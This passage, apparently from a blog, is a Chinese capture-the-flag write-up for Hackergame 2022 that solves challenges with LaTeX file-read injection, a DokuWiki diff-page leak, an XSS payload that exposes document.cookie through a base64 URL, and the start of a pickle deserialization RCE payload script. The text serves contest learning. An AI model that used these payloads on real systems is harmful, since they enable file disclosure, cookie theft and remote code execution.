\u81f4\uff0c\u5904\u7406\u5668\u4e5f\u662f\u9a81\u9f99662\u3002\u641c\u7d22\u8fd9\u4e2a\u624b\u673a\u578b\u53f7\uff0c\u53ef\u4ee5\u786e\u5b9a\u5b83\u7684\u5c4f\u5e55\u5206\u8fa8\u7387\u662f <code>2340\u00d71080<\/code><\/p>\n<\/li>\n<\/ol>\n<h4 id=\"\u822a\u73ed\">\u822a\u73ed\n<\/h4><p>\u6839\u636e\u7167\u7247\u5224\u65ad\u98de\u673a\u822a\u5411<\/p>\n<p><img alt=\"map\" class=\"gallery-image\" data-flex-basis=\"421px\" data-flex-grow=\"175\" height=\"1132\" loading=\"lazy\" sizes=\"(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px\" src=\"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/map.png\" srcset=\"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/map_hu_ade0825a831da697.png 800w, https:\/\/baka.studio\/p\/hackergame-2022-writeup\/map_hu_65540b8d6f9a08fc.png 1600w, https:\/\/baka.studio\/p\/hackergame-2022-writeup\/map.png 1987w\" width=\"1987\"><\/p>\n<p>\u641c\u7d22\u7167\u7247\u62cd\u6444\u65f6\u5728\u4e1c\u4eac\u6e7e\u4e0a\u7a7a\u5411\u5317\u98de\u7684\u822a\u73ed<\/p>\n<p><em><a class=\"link\" href=\"https:\/\/www.flightradar24.com\/\" target=\"_blank\" rel=\"noopener\"\n >FlightRadar24<\/a> \u7684VIP \u7528\u6237\u53ef\u4ee5\u76f4\u63a5\u641c\u5230\uff08\u4e0d\u60f3\u82b1\u94b1\u7684\u8bdd\u53ef\u4ee5\u8bd5\u8bd57\u5929\u8bd5\u7528\uff09\u5f53\u7136\u4e5f\u6709\u5176\u5b83\u7684\u7f51\u7ad9\u53ef\u4ee5\u7528<\/em><\/p>\n<h2 id=\"latex-\u673a\u5668\u4eba\">LaTeX \u673a\u5668\u4eba\n<\/h2><h3 id=\"\u7eaf\u6587\u672c\">\u7eaf\u6587\u672c\n<\/h3><p>\u9898\u76ee\u91cc\u5df2\u7ecf\u7ed9\u4e86\u7b54\u6848\uff0c\u8f93\u5165 <code>\\input{\/flag1}<\/code> \u5373\u53ef<\/p>\n<h3 id=\"\u7279\u6b8a\u5b57\u7b26\u6df7\u5165\">\u7279\u6b8a\u5b57\u7b26\u6df7\u5165\n<\/h3><p>\u7528 <code>\\catcode<\/code> \u628a <code>#<\/code> \u548c <code>_<\/code> \u53d8\u6210\u666e\u901a\u5b57\u7b26\u5c31\u80fd\u89e3\u6790\u4e86<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-latex\" data-lang=\"latex\"><span class=\"line\"><span class=\"cl\"><span class=\"k\">\\catcode<\/span> `<span class=\"k\">\\#<\/span>=12;<span class=\"k\">\\catcode<\/span> `<span class=\"k\">\\_<\/span>=12;<span class=\"k\">\\input<\/span><span class=\"nb\">{<\/span>\/flag2<span class=\"nb\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h2 id=\"flag-\u7684\u75d5\u8ff9\">Flag \u7684\u75d5\u8ff9\n<\/h2><p>\u5728\u5176\u5b83\u7684 DokuWiki \u7ad9\u70b9\uff08\u5982 <a class=\"link\" href=\"https:\/\/www.dokuwiki.org\/\" target=\"_blank\" rel=\"noopener\"\n >DokuWiki \u5b98\u7f51<\/a>\uff09\u53d1\u73b0\u9664\u4e86 revisions \u9875\u9762\u4ee5\u5916\uff0cdiff \u9875\u9762\u4e5f\u80fd\u663e\u793a\u5386\u53f2\u7248\u672c\u7684\u5185\u5bb9\u3002\n\u5c1d\u8bd5\u8bbf\u95ee\u9898\u76ee\u4e2d\u7684 DokuWiki \u7684 diff \u9875\u9762\uff0c\u53d1\u73b0\u53ef\u4ee5\u770b\u5230\u5386\u53f2\u7248\u672c\u7684\u5185\u5bb9\uff0c\u4e8e\u662f\u62ff\u5230 flag\u3002<\/p>\n<p>\u867d\u7136 revisions \u9875\u9762 (<code>\/doku.php?do=revisions<\/code>) \u88ab\u7981\u7528\u4e86\uff0c\u4f46 diff \u9875\u9762\u5e76\u6ca1\u6709\u540c\u65f6\u88ab\u7981\u7528\uff0c\u8bbf\u95ee <code>\/doku.php?do=diff<\/code>\uff0c\u53ef\u4ee5\u5728 diff \u9875\u9762\u770b\u5230\u5386\u53f2\u7248\u672c\u3002<\/p>\n<h2 id=\"\u5b89\u5168\u7684\u5728\u7ebf\u6d4b\u8bc4\">\u5b89\u5168\u7684\u5728\u7ebf\u6d4b\u8bc4\n<\/h2><h3 id=\"\u65e0\u6cd5-ac-\u7684\u9898\u76ee\">\u65e0\u6cd5 AC \u7684\u9898\u76ee\n<\/h3><p>\u76f4\u63a5\u8bfb\u53d6 <code>.\/data\/static.out<\/code> \u5e76\u8f93\u51fa\u5373 AC<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\"> 1\n<\/span><span class=\"lnt\"> 2\n<\/span><span class=\"lnt\"> 3\n<\/span><span class=\"lnt\"> 4\n<\/span><span class=\"lnt\"> 5\n<\/span><span class=\"lnt\"> 6\n<\/span><span class=\"lnt\"> 7\n<\/span><span class=\"lnt\"> 8\n<\/span><span class=\"lnt\"> 9\n<\/span><span class=\"lnt\">10\n<\/span><span class=\"lnt\">11\n<\/span><span class=\"lnt\">12\n<\/span><span class=\"lnt\">13\n<\/span><span class=\"lnt\">14\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-c\" data-lang=\"c\"><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;stdio.h&gt;<\/span><span class=\"cp\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;stdlib.h&gt;<\/span><span class=\"cp\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;assert.h&gt;<\/span><span class=\"cp\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kt\">int<\/span> <span class=\"nf\">main<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">FILE<\/span> <span class=\"o\">*<\/span><span class=\"n\">fp<\/span> <span class=\"o\">=<\/span> <span class=\"nf\">fopen<\/span><span class=\"p\">(<\/span><span class=\"s\">&#34;.\/data\/static.out&#34;<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;r&#34;<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nf\">assert<\/span><span class=\"p\">(<\/span><span class=\"n\">fp<\/span> <span class=\"o\">!=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"kt\">char<\/span> <span class=\"n\">buf<\/span><span class=\"p\">[<\/span><span class=\"mi\">64<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{<\/span><span class=\"mi\">0<\/span><span class=\"p\">};<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">while<\/span> <span class=\"p\">(<\/span><span class=\"nf\">fgets<\/span><span class=\"p\">(<\/span><span class=\"n\">buf<\/span><span class=\"p\">,<\/span> <span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">buf<\/span><span class=\"p\">),<\/span> <span class=\"n\">fp<\/span><span class=\"p\">)<\/span> <span class=\"o\">!=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nf\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&#34;%s&#34;<\/span><span class=\"p\">,<\/span> <span class=\"n\">buf<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nf\">fclose<\/span><span class=\"p\">(<\/span><span class=\"n\">fp<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h2 id=\"\u7ebf\u8def\u677f\">\u7ebf\u8def\u677f\n<\/h2><p>\u627e\u4e00\u4e2a Online Geber Viewer \u7f51\u7ad9\uff08\u6211\u7528\u7684\u662f <a class=\"link\" href=\"https:\/\/www.pcbgogo.com\/\" target=\"_blank\" rel=\"noopener\"\n >www.pcbgogo.com<\/a>\uff09\uff0c\u6253\u5f00\u9898\u76ee\u7ed9\u7684 zip \u538b\u7f29\u5305\u3002\n\u5207\u6362\u5230 layers \u89c6\u56fe\uff0c\u628a\u9664\u4e86\u6709\u88ab\u906e\u6321\u4f4f\u7684flag\u7684\u90a3\u4e00\u5c42\u90fd\u9690\u85cf\u6389\u3002\n\u6309 F12 \u6216\u8005 Ctrl+Shift+I \u6253\u5f00\u5f00\u53d1\u8005\u5de5\u5177\uff0c\u5207\u6362\u5230\u5143\u7d20\u89c6\u56fe\uff0c\u4f60\u4f1a\u53d1\u73b0\u7535\u8def\u677f\u88ab\u6e32\u67d3\u6210\u4e86\u4e00\u4e2a <code>&lt;svg&gt;<\/code> \u6807\u7b7e\u3002\n\u627e\u5230\u6321\u4f4f flag \u7684\u90a3\u4e2a <code>&lt;path&gt;<\/code> \u6807\u7b7e\uff0c\u5220\u6389\u5b83\uff0c\u5c31\u80fd\u770b\u5230 flag \u4e86\u3002\n<em>\uff08\u6839\u672c\u4e0d\u9700\u8981\u5b89\u88c5\u4ec0\u4e48 PCB \u76f8\u5173\u7684\u8f6f\u4ef6\uff09<\/em><\/p>\n<h2 id=\"\u5fae\u79ef\u5206\u8ba1\u7b97\u5c0f\u7ec3\u4e60\">\u5fae\u79ef\u5206\u8ba1\u7b97\u5c0f\u7ec3\u4e60\n<\/h2><p>\u8fd9\u5927\u6982\u662f\u4e00\u9053 XSS \u9898\u3002<\/p>\n<p>\u5148\u5728\u7ec3\u4e60\u7f51\u7ad9\u968f\u4fbf\u8f93\u5165\u70b9\u4e1c\u897f\u63d0\u4ea4\uff0c\u8df3\u8f6c\u5230\u7ec3\u4e60\u6210\u7ee9\u9875\u9762\uff0c\u8fd9\u4e2a\u9875\u9762\u4e0a\u7684 JavaScript \u4ee3\u7801\u4f1a\u628a url \u7684 query string \u7684 result \u53c2\u6570\u7528 base64 \u89e3\u7801\uff0c\u7136\u540e\u628a\u89e3\u7801\u540e\u7684\u4e1c\u897f\u4ee5 <code>:<\/code> \u5206\u9694\uff0c\u5206\u522b\u585e\u5230 <code>#greeting<\/code> \u548c <code>#score<\/code> \u8fd9\u4e24\u4e2a\u5143\u7d20\u7684 <code>innerHTML<\/code> \u91cc\u3002\n\u6240\u4ee5\u53ef\u4ee5\u628a JavaScript \u4ee3\u7801\u7ecf\u8fc7 base64 \u7f16\u7801\u4e4b\u540e\u585e\u5230 result \u53c2\u6570\u91cc\u6765\u5b9e\u73b0 XSS\u3002<\/p>\n<p>\u9605\u8bfb <code>bot.py<\/code> \u4ee3\u7801\uff0c\u53d1\u73b0\u5b83\u4f1a\u5148\u628a flag \u585e\u8fdb cookie \u91cc\uff0c\u7136\u540e\u8bbf\u95ee\u7ec3\u4e60\u6210\u7ee9\u9875\u9762\uff0c\u7136\u540e\u8f93\u51fa\u9875\u9762\u4e0a <code>#greeting<\/code> \u548c <code>#score<\/code> \u8fd9\u4e24\u4e2a\u5143\u7d20\u7684\u6587\u672c\u5185\u5bb9<\/p>\n<p>\u53ef\u4ee5\u6784\u9020\u7c7b\u4f3c\u8fd9\u6837\u7684 payload:<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-text\" data-lang=\"text\"><span class=\"line\"><span class=\"cl\">a:&lt;img src=a onerror=document.getElementById(&#34;greeting&#34;).innerText=document.cookie&gt;\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u628a\u5b83 base64 \u7f16\u7801\u4e4b\u540e\uff0c\u653e\u5230 result \u53c2\u6570\u91cc\uff08\u8bb0\u5f97\u628a\u7f16\u7801\u540e\u7684\u53c2\u6570\u91cc\u9762\u7684 <code>=<\/code>\/<code>+<\/code>\u4e4b\u7c7b\u7684\u5b57\u7b26 url encode \u4e00\u904d\uff0c\u4e0d\u7136\u4f1a HTTP 500\uff09\uff0c\u62fc\u6210\u7c7b\u4f3c\u8fd9\u6837\u7684 url:<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-text\" data-lang=\"text\"><span class=\"line\"><span class=\"cl\">http:\/\/202.38.93.111:10056\/share?result=YTo8aW1nIHNyYz1hIG9uZXJyb3I9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImdyZWV0aW5nIikuaW5uZXJUZXh0PWRvY3VtZW50LmNvb2tpZT4=\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><p>\u76f4\u63a5\u63d0\u4ea4\u5c31\u80fd\u62ff\u5230 flag \u4e86\u3002<\/p>\n<h2 id=\"\u676f\u7a97\u9e45\u5f71\">\u676f\u7a97\u9e45\u5f71\n<\/h2><h3 id=\"flag1\">flag1\n<\/h3><p>\u7f16\u5199\u7a0b\u5e8f\u76f4\u63a5\u8bfb <code>\/flag1<\/code> \u8fd9\u4e2a\u6587\u4ef6\u5e76\u8f93\u51fa\u5c31\u53ef\u4ee5\u4e86\u3002<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\"> 1\n<\/span><span class=\"lnt\"> 2\n<\/span><span class=\"lnt\"> 3\n<\/span><span class=\"lnt\"> 4\n<\/span><span class=\"lnt\"> 5\n<\/span><span class=\"lnt\"> 6\n<\/span><span class=\"lnt\"> 7\n<\/span><span class=\"lnt\"> 8\n<\/span><span class=\"lnt\"> 9\n<\/span><span class=\"lnt\">10\n<\/span><span class=\"lnt\">11\n<\/span><span class=\"lnt\">12\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-c\" data-lang=\"c\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ flag1.c\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;stdio.h&gt;<\/span><span class=\"cp\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;stdlib.h&gt;<\/span><span class=\"cp\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kt\">int<\/span> <span class=\"nf\">main<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">FILE<\/span> <span class=\"o\">*<\/span><span class=\"n\">fp<\/span> <span class=\"o\">=<\/span> <span class=\"nf\">fopen<\/span><span class=\"p\">(<\/span><span class=\"s\">&#34;\/flag1&#34;<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;r&#34;<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"kt\">char<\/span> <span class=\"n\">buff<\/span><span class=\"p\">[<\/span><span class=\"mi\">255<\/span><span class=\"p\">];<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nf\">fscanf<\/span><span class=\"p\">(<\/span><span class=\"n\">fp<\/span><span class=\"p\">,<\/span> <span class=\"s\">&#34;%s&#34;<\/span><span class=\"p\">,<\/span> <span class=\"n\">buff<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nf\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&#34;%s&#34;<\/span><span class=\"p\">,<\/span> <span class=\"n\">buff<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nf\">fclose<\/span><span class=\"p\">(<\/span><span class=\"n\">fp<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\">1\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">x86_64-w64-mingw32-gcc flag1.c\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div><h2 id=\"\u4e8c\u6b21\u5143\u795e\u7ecf\u7f51\u7edc\">\u4e8c\u6b21\u5143\u795e\u7ecf\u7f51\u7edc\n<\/h2><p>\u5229\u7528\u4e86 pickle \u7684\u53cd\u5e8f\u5217\u5316\u5b9e\u73b0 RCE, \u539f\u7406\u53ef\u4ee5\u53c2\u8003: <a class=\"link\" href=\"https:\/\/zhuanlan.zhihu.com\/p\/89132768\" target=\"_blank\" rel=\"noopener\"\n >\u4ece\u96f6\u5f00\u59cbpython\u53cd\u5e8f\u5217\u5316\u653b\u51fb\uff1apickle\u539f\u7406\u89e3\u6790 &amp; \u4e0d\u7528reduce\u7684RCE\u59ff\u52bf - \u77e5\u4e4e<\/a><\/p>\n<p>\u53ef\u4ee5\u7528\u8fd9\u4e2a\u811a\u672c\u751f\u6210\u7b26\u5408\u9898\u76ee\u8981\u6c42\u7684\u6a21\u578b<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\"> 1\n<\/span><span class=\"lnt\"> 2\n<\/span><span class=\"lnt\"> 3\n<\/span><span class=\"lnt\"> 4\n<\/span><span class=\"lnt\"> 5\n<\/span><span class=\"lnt\"> 6\n<\/span><span class=\"lnt\"> 7\n<\/span><span class=\"lnt\"> 8\n<\/span><span class=\"lnt\"> 9\n<\/span><span class=\"lnt\"> 10\n<\/span><span class=\"lnt\"> 11\n<\/span><span class=\"lnt\"> 12\n<\/span><span class=\"lnt\"> 13\n<\/span><span class=\"lnt\"> 14\n<\/span><span class=\"lnt\"> 15\n<\/span><span class=\"lnt\"> 16\n<\/span><span class=\"lnt\"> 17\n<\/span><span class=\"lnt\"> 18\n<\/span><span class=\"lnt\"> 19\n<\/span><span class=\"lnt\"> 20\n<\/span><span class=\"lnt\"> 21\n<\/span><span class=\"lnt\"> 22\n<\/span><span class=\"lnt\"> 23\n<\/span><span class=\"lnt\"> 24\n<\/span><span class=\"lnt\"> 25\n<\/span><span class=\"lnt\"> 26\n<\/span><span class=\"lnt\"> 27\n<\/span><span class=\"lnt\"> 28\n<\/span><span class=\"lnt\"> 29\n<\/span><span class=\"lnt\"> 30\n<\/span><span class=\"lnt\"> 31\n<\/span><span class=\"lnt\"> 32\n<\/span><span class=\"lnt\"> 33\n<\/span><span class=\"lnt\"> 34\n<\/span><span class=\"lnt\"> 35\n<\/span><span class=\"lnt\"> 36\n<\/span><span class=\"lnt\"> 37\n<\/span><span class=\"lnt\"> 38\n<\/span><span class=\"lnt\"> 39\n<\/span><span class=\"lnt\"> 40\n<\/span><span class=\"lnt\"> 41\n<\/span><span class=\"lnt\"> 42\n<\/span><span class=\"lnt\"> 43\n<\/span><span class=\"lnt\"> 44\n<\/span><span class=\"lnt\"> 45\n<\/span><span class=\"lnt\"> 46\n<\/span><span class=\"lnt\"> 47\n<\/span><span class=\"lnt\"> 48\n<\/span><span class=\"lnt\"> 49\n<\/span><span class=\"lnt\"> 50\n<\/span><span class=\"lnt\"> 51\n<\/span><span class=\"lnt\"> 52\n<\/span><span class=\"lnt\"> 53\n<\/span><span class=\"lnt\"> 54\n<\/span><span class=\"lnt\"> 55\n<\/span><span class=\"lnt\"> 56\n<\/span><span class=\"lnt\"> 57\n<\/span><span class=\"lnt\"> 58\n<\/span><span class=\"lnt\"> 59\n<\/span><span class=\"lnt\"> 60\n<\/span><span class=\"lnt\"> 61\n<\/span><span class=\"lnt\"> 62\n<\/span><span class=\"lnt\"> 63\n<\/span><span class=\"lnt\"> 64\n<\/span><span class=\"lnt\"> 65\n<\/span><span class=\"lnt\"> 66\n<\/span><span class=\"lnt\"> 67\n<\/span><span class=\"lnt\"> 68\n<\/span><span class=\"lnt\"> 69\n<\/span><span class=\"lnt\"> 70\n<\/span><span class=\"lnt\"> 71\n<\/span><span class=\"lnt\"> 72\n<\/span><span class=\"lnt\"> 73\n<\/span><span class=\"lnt\"> 74\n<\/span><span class=\"lnt\"> 75\n<\/span><span class=\"lnt\"> 76\n<\/span><span class=\"lnt\"> 77\n<\/span><span class=\"lnt\"> 78\n<\/span><span class=\"lnt\"> 79\n<\/span><span class=\"lnt\"> 80\n<\/span><span class=\"lnt\"> 81\n<\/span><span class=\"lnt\"> 82\n<\/span><span class=\"lnt\"> 83\n<\/span><span class=\"lnt\"> 84\n<\/span><span class=\"lnt\"> 85\n<\/span><span class=\"lnt\"> 86\n<\/span><span class=\"lnt\"> 87\n<\/span><span class=\"lnt\"> 88\n<\/span><span class=\"lnt\"> 89\n<\/span><span class=\"lnt\"> 90\n<\/span><span class=\"lnt\"> 91\n<\/span><span class=\"lnt\"> 92\n<\/span><span class=\"lnt\"> 93\n<\/span><span class=\"lnt\"> 94\n<\/span><span class=\"lnt\"> 95\n<\/span><span class=\"lnt\"> 96\n<\/span><span class=\"lnt\"> 97\n<\/span><span class=\"lnt\"> 98\n<\/span><span class=\"lnt\"> 99\n<\/span><span class=\"lnt\">100\n<\/span><span class=\"lnt\">101\n<\/span><span class=\"lnt\">102\n<\/span><span class=\"lnt\">103\n<\/span><span class=\"lnt\">104\n<\/span><span class=\"lnt\">105\n<\/span><span class=\"lnt\">106\n<\/span><span class=\"lnt\">107\n<\/span><span class=\"lnt\">108\n<\/span><span class=\"lnt\">109\n<\/span><span class=\"lnt\">110\n<\/span><span class=\"lnt\">111\n<\/span><span class=\"lnt\">112\n<\/span><span class=\"lnt\">113\n<\/span><span class=\"lnt\">114\n<\/span><span class=\"lnt\">115\n<\/span><span class=\"lnt\">116\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-python\" data-lang=\"python\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># generate_payload.py<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span> <span class=\"nn\">base64<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span> <span class=\"nn\">io<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">from<\/span> <span class=\"nn\">collections<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">OrderedDict<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span> <span class=\"nn\">numpy<\/span> <span class=\"k\">as<\/span> <span class=\"nn\">np<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span> <span class=\"nn\">requests<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span> <span class=\"nn\">torch<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span> <span class=\"nn\">torch.nn<\/span> <span class=\"k\">as<\/span> <span class=\"nn\">nn<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">from<\/span> <span class=\"nn\">torch.serialization<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">normalize_storage_type<\/span><span class=\"p\">,<\/span> <span class=\"n\">location_tag<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">class<\/span> <span class=\"nc\">SimpleGenerativeModel<\/span><span class=\"p\">(<\/span><span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">Module<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">class<\/span> <span class=\"nc\">TagEncoder<\/span><span class=\"p\">(<\/span><span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">Module<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"fm\">__init__<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">,<\/span> <span class=\"n\">n_tags<\/span><span class=\"p\">,<\/span> <span class=\"n\">output_dim<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">super<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"fm\">__init__<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">embedding<\/span> <span class=\"o\">=<\/span> <span class=\"n\">nn<\/span><span class=\"o\">.<\/span><span class=\"n\">Embedding<\/span><span class=\"p\">(<\/span><span class=\"n\">n_tags<\/span><span class=\"p\">,<\/span> <span class=\"n\">output_dim<\/span><span class=\"p\">,<\/span> <span class=\"n\">padding_idx<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"nf\">forward<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">,<\/span> <span class=\"n\">tag_ids<\/span><span class=\"p\">:<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">Tensor<\/span><span class=\"p\">)<\/span> <span class=\"o\">-&gt;<\/span> <span class=\"n\">torch<\/span><span class=\"o\">.<\/span><span class=\"n\">Tensor<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">text<\/span> <span class=\"o\">=<\/span> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">embedding<\/span><span class=\"p\">(<\/span><span class=\"n\">tag_ids<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">sum<\/span><span class=\"p\">(<\/span><span class=\"n\">dim<\/span><span class=\"o\">=<\/span><span class=\"mi\">1<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">return<\/span> <span class=\"n\">text<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">def<\/span> <span class=\"fm\">__init__<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">,<\/span> <span class=\"n\">n_tags<\/span><span class=\"p\">:<\/span> <span class=\"nb\">int<\/span><span class=\"p\">,<\/span> <span class=\"n\">dim<\/span><span class=\"p\">:<\/span> <span class=\"nb\">int<\/span><span class=\"p\">,<\/span> <span class=\"n\">img_shape<\/span><span class=\"p\">:<\/span> <span class=\"nb\">tuple<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">super<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"fm\">__init__<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"bp\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">n_tags<\/span> <span 